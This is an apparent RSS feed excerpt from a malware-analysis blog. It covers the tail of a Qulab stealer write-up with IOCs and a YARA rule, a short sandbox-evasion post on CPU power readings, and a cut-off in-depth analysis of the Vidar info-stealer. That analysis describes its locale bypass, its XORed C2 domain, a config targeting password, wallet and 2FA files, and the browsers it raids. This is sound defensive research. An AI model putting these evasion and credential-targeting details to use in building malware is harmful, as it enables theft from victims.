Task&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;%PAYLOAD_NAME%&lt;/li&gt;&#10;&#9;&lt;li&gt;Random Description&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Folders &amp;amp; Files&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;%APPDATA%/%RANDOM_FOLDER%/&lt;/li&gt;&#10;&#9;&lt;li&gt;%APPDATA%/%RANDOM_FOLDER%/1/&lt;/li&gt;&#10;&#9;&lt;li&gt;%PAYLOAD_NAME%.module.exe (7zip)&lt;/li&gt;&#10;&#9;&lt;li&gt;%PAYLOAD_NAME%.sqlite.module.exe (sqlite3.dll)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Threat Actor&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;&lt;a class="username" dir="auto" href="https://darkwebs.ws/members/141222/"&gt;&lt;span class="style14"&gt;Qulab&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3&gt;MITRE ATT&amp;amp;CK&lt;/h3&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1082"&gt;Discovery - System Information Discovery&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1124"&gt;Discovery - System Time Discovery&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1012"&gt;Discovery - Query Registry&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1057/"&gt;Discovery - Process Discovery&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1129"&gt;Execution - Execution through Module Load&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1081"&gt;Credential Access - Credentials in Files&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1113"&gt;Collection - Screen Capture&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1005/"&gt;Collection - Data from Local System&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1002"&gt;Exfiltration - Data Compressed&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3&gt;Software &amp;amp; Language used&lt;/h3&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;AutoIT&lt;/li&gt;&#10;&#9;&lt;li&gt;Aut2Exe (Decompiler)&lt;/li&gt;&#10;&#9;&lt;li&gt;myAut2Exe (Decompiler)&lt;/li&gt;&#10;&#9;&lt;li&gt;CFF Explorer&lt;/li&gt;&#10;&#9;&lt;li&gt;x32dbg&lt;/li&gt;&#10;&#9;&lt;li&gt;Python&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3&gt;Yara&lt;/h3&gt;&#10;&lt;pre&gt;rule Qulab_Stealer : Qulab &#10;{&#10; meta:&#10; description = "Yara rule for detecting Qulab (In memory only)"&#10; author = "Fumik0_"&#10;&#10; strings:&#10; $s1 = "QULAB CLIPPER + STEALER" wide ascii&#10; $s2 = "SDA" wide ascii&#10; $s3 = "SELECT * FROM Win32_VideoController" wide ascii&#10; $s4 = "maFile" wide ascii&#10; $s5 = "Exodus" wide ascii&#10; &#10; condition:&#10; all of ($s*)&#10;}&lt;/pre&gt;&#10;&lt;h2&gt;Conclusion&lt;/h2&gt;&#10;Well, it's cool sometimes to dig into some stuff that is not really common for the language choice (on my point of view for this malware). It's entertaining and always worth to learn new content, find new tools, find a new perspective to put your head into some totally unknown fields.&#10;&#10;Qulab stealer is interesting just in fact that is using AutoIT and abusing a telegram bot for sharing some data but stealing &amp;amp; clipper features remain the same as all the other stealers. The other thing that, it's confirming also that more and more people are using User Defined Functions/Libraries free to use to do good or bad things, this trends will be more and more common in those days, developers or simple users with lack of skills is now just doing some google research and will be able to make a software or a malware, without knowing anything in depth about what the code is doing, when the task is done, nothing else matters at the end.&#10;&#10;But I admit, I really take pleasure to patch it for stupid &amp;amp; totally useless stuff :)&#10;&#10;Now it's time for a break.&#10;&#10;&lt;img class=" size-full wp-image-604 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-original.webp" alt="original" width="500" height="281" loading="lazy" decoding="async" /&gt;&#10;&#10;#HappyHunting&#10;&#10;Special thanks: @siri_urz, @hh86_&#10;</description></item><item><title>CPU Power Usage - Sandbox Evasive Technique</title><link>https://fumik0.com/2019/02/27/cpu-power-usage-sandbox-evasive-technique/</link><pubDate>Wed, 27 Feb 2019 19:53:35 +0000</pubDate><guid>https://fumik0.com/2019/02/27/cpu-power-usage-sandbox-evasive-technique/</guid><description>Hi Folks,&#10;&#10;I'm not usually in this kind of paper, but this time, I am exceptionally writing a really short one about something related to some VM evasive PoC.&#10;&#10;There is always some tricks to detect if you are running on a virtual machine or not. Most of them are stupid, but it's enough accurate to just lose some minds when you have to harden your sandbox.&#10;&#10;The idea here, there are some sensors to check the current CPU Power Usage. When you see as below, it returns this kind of values, when you are running a program normally.&#10;&#10;&lt;img class="alignnone size-full wp-image-163" src="https://fumik0.com/wp-content/uploads/2018/05/cpu-power-real-machine.webp" alt="Screenshot: RealMachine" width="659" height="334" loading="lazy" decoding="async" /&gt;&#10;&#10;But in a sandbox, it will return 0.&#10;&#10;&lt;img class="alignnone size-full wp-image-571" src="https://fumik0.com/wp-content/uploads/2019/02/cpu-power-anti-vm.webp" alt="AntiVM" width="944" height="803" loading="lazy" decoding="async" /&gt;&#10;&#10;Source: &lt;a href="https://github.com/Fmk0/work/tree/master/Araragi"&gt;Original source&lt;/a&gt;&#10;&#10;#HappyHunting&#10;&#10;&lt;p&gt;&lt;em&gt;The GIF that used to sit here is no longer available: it was hosted on gfycat, which has shut down.&lt;/em&gt;&lt;/p&gt;&#10;&#10;Photo by &lt;a href="https://www.pexels.com/@iseeghoststoo?utm_content=attributionCopyText&amp;amp;utm_medium=referral&amp;amp;utm_source=pexels"&gt;Shawn Stutzman&lt;/a&gt; from &lt;a href="https://www.pexels.com/photo/pile-of-computer-processing-units-1010487/?utm_content=attributionCopyText&amp;amp;utm_medium=referral&amp;amp;utm_source=pexels"&gt;Pexels&lt;/a&gt;&#10;&#10;&amp;nbsp;&#10;&#10;&amp;nbsp;&#10;&#10;&amp;nbsp;&#10;</description></item><item><title>Let's dig into Vidar - An Arkei Copycat/Forked Stealer (In-depth analysis)</title><link>https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/</link><pubDate>Mon, 24 Dec 2018 09:32:01 +0000</pubDate><guid>https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/</guid><description>Sometimes when you are reading tons and tons of log of malware analysis, you are not expecting that some little changes could be in fact impactful.&#10;&#10;I paid the price when I was analyzing a supposed Arkei malware. my Yara rule at that time was supposed to trigger this malware, but after some reversing, I realized that I was confronted with something different. Some strings linked to Arkei signature was deleted and a new one appeared with the string "Vidar", there are also some other tweaks in the in-depth analysis that proves there are some differences (but small), but all the rest was totally identical to Arkei.&#10;&#10;The malware is written in C++, seems to have started activities at the beginning of October 2018 and have all the kind of classic features of stealers:&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Searching for specific documents&lt;/li&gt;&#10;&#9;&lt;li&gt;Stealing ID from cookie browsers&lt;/li&gt;&#10;&#9;&lt;li&gt;Stealing browser histories (also from &lt;strong&gt;&lt;span style="color: #ff0000;"&gt;&lt;em&gt;tor browser&lt;/em&gt;&lt;/span&gt;&lt;/strong&gt;)&lt;/li&gt;&#10;&#9;&lt;li&gt;Stealing wallets&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;span style="color: #ff0000;"&gt;&lt;em&gt;&lt;strong&gt;Stealing data from 2FA software&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;Grabbing message from messenger software&lt;/li&gt;&#10;&#9;&lt;li&gt;Screenshot&lt;/li&gt;&#10;&#9;&lt;li&gt;Loader settings&lt;/li&gt;&#10;&#9;&lt;li&gt;Telegram notifications (on server-side)&lt;/li&gt;&#10;&#9;&lt;li&gt;Get a complete snapshot of all information of the computer victim&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Sold with a range of 250-700$, this stealer on shop/forums and when people buy it, they have access to a C2 Shop portal where they are able to generate their own payloads. So there is no management on their side. Also, domains who leads to the C2/Shop are changed every 4 days.&#10;&#10;For this in-depth analysis, I will inspect the 4.1 version of Vidar, take an overview of the admin panel, catching the differences with Arkei.&#10;&lt;h2&gt;Basic Countries by-passing&lt;/h2&gt;&#10;So first of all, we have some classic pattern to quit the program if the victim machines are configured in some language with the help of &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winnls/nf-winnls-getuserdefaultlocalename"&gt;GetUserDefaultLocaleName&lt;/a&gt;. This is one of the easy tricks to check if the malware is not infected users from specific countries.&#10;&#10;&lt;img class=" size-full wp-image-439 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-get-user-default-locale-name.webp" alt="GetUserDefaultLocaleName" width="363" height="97" loading="lazy" decoding="async" /&gt;&#10;&#10;As explained in the MSDN, A "locale" is a collection of language-related user preference information represented as a list of values, the stealer will check if the language is corresponding with the list of countries that mentioned below.&#10;&#10;&lt;img class=" size-full wp-image-438 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-checking-countries.webp" alt="Screenshot: Checking countries" width="339" height="729" loading="lazy" decoding="async" /&gt;&#10;&#10;With a few seconds of searching on google, it's easy to understand which countries are behind the locale names :&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup span="2" width="85"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Locale&lt;/td&gt;&#10;&lt;td align="left"&gt;Country&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;ru-RU&lt;/td&gt;&#10;&lt;td align="left"&gt;Russia&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;be-BY&lt;/td&gt;&#10;&lt;td align="left"&gt;Belarus&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;uz-UZ&lt;/td&gt;&#10;&lt;td align="left"&gt;Uzbekistan&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;kk-KZ&lt;/td&gt;&#10;&lt;td align="left"&gt;Kazhakstan&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;az-AZ&lt;/td&gt;&#10;&lt;td align="left"&gt;Azerbaijan&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;LCID Structure - &lt;a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-lcid/63d3d639-7fd2-4afb-abbe-0d5b5551eef8"&gt;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-lcid/63d3d639-7fd2-4afb-abbe-0d5b5551eef8&lt;/a&gt;&#10;Language Code Table - &lt;a href="http://www.lingoes.net/en/translator/langcode.htm"&gt;http://www.lingoes.net/en/translator/langcode.htm&lt;/a&gt;&#10;LocaleName - &lt;a href="https://learn.microsoft.com/en-us/windows/desktop/Intl/locale-names"&gt;https://learn.microsoft.com/en-us/windows/desktop/Intl/locale-names&lt;/a&gt;&#10;Locale - &lt;a href="https://learn.microsoft.com/en-us/windows/desktop/Intl/locales-and-languages"&gt;https://learn.microsoft.com/en-us/windows/desktop/Intl/locales-and-languages&lt;/a&gt;&#10;&lt;h2&gt;Mutex generation&lt;/h2&gt;&#10;The mutant string generated by Vidar is unique for each victim, but simple to understand how it is generated. This is just a concatenation of two strings :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Hardware Profile ID&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-getcurrenthwprofilea"&gt;GetCurrentHwProfileA&lt;/a&gt; is used to retrieve the current hardware profile of the computer with the value of &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winbase/ns-winbase-taghw_profile_infoa"&gt;szHwProfileGuid&lt;/a&gt;. If it fails, it will return "Unknown" here.&#10;&#10;&lt;img class="alignnone wp-image-440" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-sz-hw-profile-guid.webp" alt="szHwProfileGuid" width="758" height="330" loading="lazy" decoding="async" /&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;The Machine GUID&lt;/li&gt;&#10;&lt;/ul&gt;&#10;With the help of &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winreg/nf-winreg-regopenkeyexa"&gt;RegOpenKeyExA&lt;/a&gt;, the value of the registry key  is fetched:&#10;&lt;pre&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid&lt;/pre&gt;&#10;This is the &lt;a href="https://learn.microsoft.com/en-us/windows/win32/rpc/rpcdce/ns-rpcdce-uuid"&gt;UUID&lt;/a&gt; created by Windows during the installation of the operating system.&#10;&#10;&lt;img class=" size-full wp-image-441 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-machine-guid.webp" alt="Screenshot: Machine guid" width="641" height="415" loading="lazy" decoding="async" /&gt;&#10;&#10;When it's done, the mutex is created, just like this :&#10;&#10;&lt;img class=" size-full wp-image-443 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-mutex.webp" alt="Mutex" width="887" height="134" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;String setup&lt;/h2&gt;&#10;When Vidar is entering in the main function, it needs to store some required strings to be able to work properly for some further steps.&#10;&#10;&lt;img class=" size-full wp-image-445 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-strings.webp" alt="Screenshot: Vidar strings" width="901" height="247" loading="lazy" decoding="async" /&gt;&#10;&#10;All the RVA address of each string are stored in the &lt;em&gt;&lt;strong&gt;.data&lt;/strong&gt;&lt;/em&gt; section. The malware will go there to access to the requested string.&#10;&#10;&lt;img class=" size-full wp-image-444 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-hexdump-strings.webp" alt="Screenshot: Hexdump strings" width="538" height="216" loading="lazy" decoding="async" /&gt;&#10;&#10;This is a trick to slow down the static analysis of the malware, but this is really easy to surpass :)&#10;&lt;h2&gt;C2 Domain &amp;amp; Profile ID&lt;/h2&gt;&#10;When the malware is generated by the builder on the customer area. A unique ID is hardcoded into it. When Vidar will request this value on the malicious domain, it will retrieve the corresponding profile that the threat actor wants to grab/steal into the victim machine.&#10;&#10;So on this case, this the profile ID is "178". If there is no config on the malware, the profile ID "1" is hardcoded into it.&#10;&#10;&lt;img class=" size-full wp-image-497 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-profile-config.webp" alt="Screenshot: Vidar profile config" width="320" height="533" loading="lazy" decoding="async" /&gt;&#10;&#10;The C2 domain is a simple XORed string, the key is directly put into the XOR function to decrypt the data.&#10;&#10;&lt;img class=" size-full wp-image-496 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-c2.webp" alt="Screenshot: Vidar c2" width="381" height="484" loading="lazy" decoding="async" /&gt;&#10;&#10;And decrypted it's in fact "newagenias.com"&#10;&#10;&lt;img class="alignnone size-full wp-image-498" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-c2-decrypted.webp" alt="Screenshot: Vidar c2 decrypted" width="976" height="126" loading="lazy" decoding="async" /&gt;&#10;&#10;Configs are possible to be extracted easily with the script &lt;a href="https://github.com/Fmk0/scripts/blob/master/izanami.py"&gt;izanami.py&lt;/a&gt; on my GitHub repository.&#10;&lt;h2&gt;How to understand the config format&lt;/h2&gt;&#10;For example, this is default configuration the malware could get from the C2 :&#10;&#10;&lt;em&gt;&lt;span&gt;1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;&lt;/span&gt;&lt;/em&gt;&#10;&#10;Each part have the ";" in delimiter, so let's dig into it&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;First part&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="85"&gt;&lt;/colgroup&gt; &lt;colgroup width="125"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;Saved password&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;Cookies / AutoFill&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;Wallet&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;Internet History&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;??? -  Supposed to be Skype &lt;strong&gt;&lt;span style="color: #ff0000;"&gt;&lt;em&gt;(not implemented)&lt;/em&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;??? - Supposed to be Steam &lt;strong&gt;&lt;span style="color: #ff0000;"&gt;&lt;em&gt;(not implemented)&lt;/em&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;Telegram&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;Screenshot&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;Grabber&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;???&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;250&lt;/td&gt;&#10;&lt;td align="left"&gt;Max Size (kb)&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Default&lt;/td&gt;&#10;&lt;td align="left"&gt;Name of the profile (also used for archive file into the files repository)&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Second part&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="85"&gt;&lt;/colgroup&gt; &lt;colgroup width="125"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;%DESKTOP %&lt;/td&gt;&#10;&lt;td align="left"&gt;Selected folder repository where the grabber feature will search recursively (or not) some selected data&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Third part&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;span&gt;&lt;em&gt;&lt;strong&gt;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Fourth part&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="85"&gt;&lt;/colgroup&gt; &lt;colgroup width="125"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="right" height="17"&gt;50&lt;/td&gt;&#10;&lt;td align="left"&gt;Max Size per file (kb)&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;true&lt;/td&gt;&#10;&lt;td align="left"&gt;Collect Recursively&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Fifth part:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;strong&gt;&lt;em&gt;&lt;span&gt;movies:music:mp3;&lt;/span&gt;&lt;/em&gt;&lt;/strong&gt;&#10;&#10;This is the exception part, the grabber will avoid those strings if it matches in the files searched recursively in the specific wanted folder.&#10;&#10;The setup is quite a mess if we are looking into the code. each option is stored into a byte or dword variable.&#10;&#10;&lt;img class="alignnone size-full wp-image-494" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-config-setup.webp" alt="Screenshot: Vidar config setup" width="1354" height="834" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;Folder generation&lt;/h2&gt;&#10;To summarize all kind of possibles files/folders that will be generated for the malicious repository is in fact pretty simple :&#10;&lt;pre&gt;\\files &amp;lt;- Master folder&#10;\\files\\Autofill &amp;lt;- Auto-Fill files&#10;\\files\\CC &amp;lt;- Credit Cards&#10;\\files\\Cookies &amp;lt;- Cookies&#10;\\files\\Downloads &amp;lt;- Downloaded data history from browsers&#10;\\files\\Files &amp;lt;- Profile configs (Archives)&#10;\\files\\History &amp;lt;- Browser histories&#10;\\files\\Soft &amp;lt;- Master folder for targeted softwares&#10;\\files\\Soft\\Authy &amp;lt;- 2FA software&#10;\\files\\Telegram &amp;lt;- Telegram messages&#10;\\files\\Wallets &amp;lt;- Cryptomining Wallets&#10;&lt;/pre&gt;&#10;Generalist files&#10;&lt;pre&gt;\\files\screenshot.jpg &amp;lt;- Actual screenshot of the screen&#10;\\files\passwords.txt &amp;lt;- Passwords consolidated all at once&#10;\\files\\information.txt &amp;lt;- Snapshot of the computer setup&lt;/pre&gt;&#10;&lt;h2&gt;Libraries necessary to grab some data&lt;/h2&gt;&#10;Something that I love when I read some malware specs, it's when they said that the product could be launched without the necessity to have some runtime libraries or other required software on the machine. But when you dig into the code or just watching some network flow, you can see that the malware is downloading some DLL to be able to do some tasks.&#10;&#10;&lt;img class=" wp-image-510 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-meme.webp" alt="meme" width="449" height="380" loading="lazy" decoding="async" /&gt;&#10;&#10;And for this case, they are required during the stealing process of different kind of browsers.&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup span="2" width="85"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;freebl3.dll&lt;/td&gt;&#10;&lt;td align="left"&gt;Freebl Library for the NSS (Mozilla Browser)&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;mozglue.dll&lt;/td&gt;&#10;&lt;td align="left"&gt;Mozilla Browser Library&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;msvcp140.dll&lt;/td&gt;&#10;&lt;td align="left"&gt;Visual C++ Runtime 2015&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;nss3.dll&lt;/td&gt;&#10;&lt;td align="left"&gt;Network System Services Library (Mozilla Browser)&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;softokn3.dll&lt;/td&gt;&#10;&lt;td align="left"&gt;Mozilla Browser Library&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;vcruntime140.dll&lt;/td&gt;&#10;&lt;td align="left"&gt;Visual C++ Runtime 2015&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;They are deleted when the task is done.&#10;&#10;&lt;img class=" size-full wp-image-511 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-deleting-dll.webp" alt="Screenshot: Vidar deleting dll" width="585" height="377" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;FTP&lt;/h2&gt;&#10;List of supported software&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;FileZilla&lt;/li&gt;&#10;&#9;&lt;li&gt;WinSCP&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2&gt;2FA software&lt;/h2&gt;&#10;Something that I found interesting on this malware is that also 2FA software is also targeted, a feature that I considered not seen really in the wild, and pretty sure this will be more and more common in the future. With the multiplication of those kinds of protection. Victims must understand that 2FA is not the ultimate way to protect accounts from hackers, this could be also another door for vulnerabilities :)&#10;&#10;So with Vidar, the Authy software is targeted...&#10;&#10;&lt;img class="alignnone size-full wp-image-491" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-2fa-authy.webp" alt="Screenshot: Vidar 2FA Authy" width="1882" height="1000" loading="lazy" decoding="async" /&gt;&#10;&#10;More specifically the SQLite file on the corresponding application on %APPDATA% repository. It looks like this is the same operating where stealer wants to steal data with software like Discord or Chrome.&#10;&#10;&lt;img class=" size-full wp-image-492 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-2fa-reverse.webp" alt="Screenshot: Vidar 2FA Reverse" width="627" height="496" loading="lazy" decoding="async" /&gt;&#10;&#10;So guys, be careful with your 2FA software :)&#10;&#10;&lt;img class="alignnone size-full wp-image-493" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-2fa-reviews.webp" alt="Screenshot: Vidar 2FA reviews" width="1355" height="305" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;Browsers&lt;/h2&gt;&#10;Something interesting to mention, this bad boy is also stealing Tor Browser stuff.&#10;&#10;List of supported Browsers&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;360 Browser&lt;/li&gt;&#10;&#9;&lt;li&gt;Amigo&lt;/li&gt;&#10;&#9;&lt;li&gt;BlackHawk&lt;/li&gt;&#10;&#9;&lt;li&gt;Cent Browser&lt;/li&gt;&#10;&#9;&lt;li&gt;Chedot Browser&lt;/li&gt;&#10;&#9;&lt;li&gt;Chromium&lt;/li&gt;&#10;&#9;&lt;li&gt;CocCoc&lt;/li&gt;&#10;&#9;&lt;li&gt;Comodo Dragon&lt;/li&gt;&#10;&#9;&lt;li&gt;Cyberfox&lt;/li&gt;&#10;&#9;&lt;li&gt;Elements Browser&lt;/li&gt;&#10;&#9;&lt;li&gt;Epic Privacy&lt;/li&gt;&#10;&#9;&lt;li&gt;Google Chrome&lt;/li&gt;&#10;&#9;&lt;li&gt;IceCat&lt;/li&gt;&#10;&#9;&lt;li&gt;Internet Explorer&lt;/li&gt;&#10;&#9;&lt;li&gt;K-Meleon&lt;/li&gt;&#10;&#9;&lt;li&gt;Kometa&lt;/li&gt;&#10;&#9;&lt;li&gt;Maxthon5&lt;/li&gt;&#10;&#9;&lt;li&gt;Microsoft Edge&lt;/li&gt;&#10;&#9;&lt;li&gt;Mozilla Firefox&lt;/li&gt;&#10;&#9;&lt;li&gt;Mustang Browser&lt;/li&gt;&#10;&#9;&lt;li&gt;Nichrome&lt;/li&gt;&#10;&#9;&lt;li&gt;Opera&lt;/li&gt;&#10;&#9;&lt;li&gt;Orbitum&lt;/li&gt;&#10;&#9;&lt;li&gt;Pale Moon&lt;/li&gt;&#10;&#9;&lt;li&gt;QIP Surf&lt;/li&gt;&#10;&#9;&lt;li&gt;QQ Browser&lt;/li&gt;&#10;&#9;&lt;li&gt;Sputnik&lt;/li&gt;&#10;&#9;&lt;li&gt;Suhba Browser&lt;/li&gt;&#10;&#9;&lt;li&gt;Tor Browser&lt;/li&gt;&#10;&#9;&lt;li&gt;Torch&lt;/li&gt;&#10;&#9;&lt;li&gt;URAN&lt;/li&gt;&#10;&#9;&lt;li&gt;Vivaldi&lt;/li&gt;&#10;&#9;&lt;li&gt;Waterfox&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Of course, this list could be more important than this if there are some browsers based on chromium repository.&#10;&lt;h2&gt;Messengers/Mailer&lt;/h2&gt;&#10;I will not explain here, how it works, but the technique is the same that I've explained &lt;a href="https://fumik0.com/2018/10/15/predator-the-thief-in-depth-analysis-v2-3-5/"&gt;in my previous blog post&lt;/a&gt;. (Especially for the Telegram 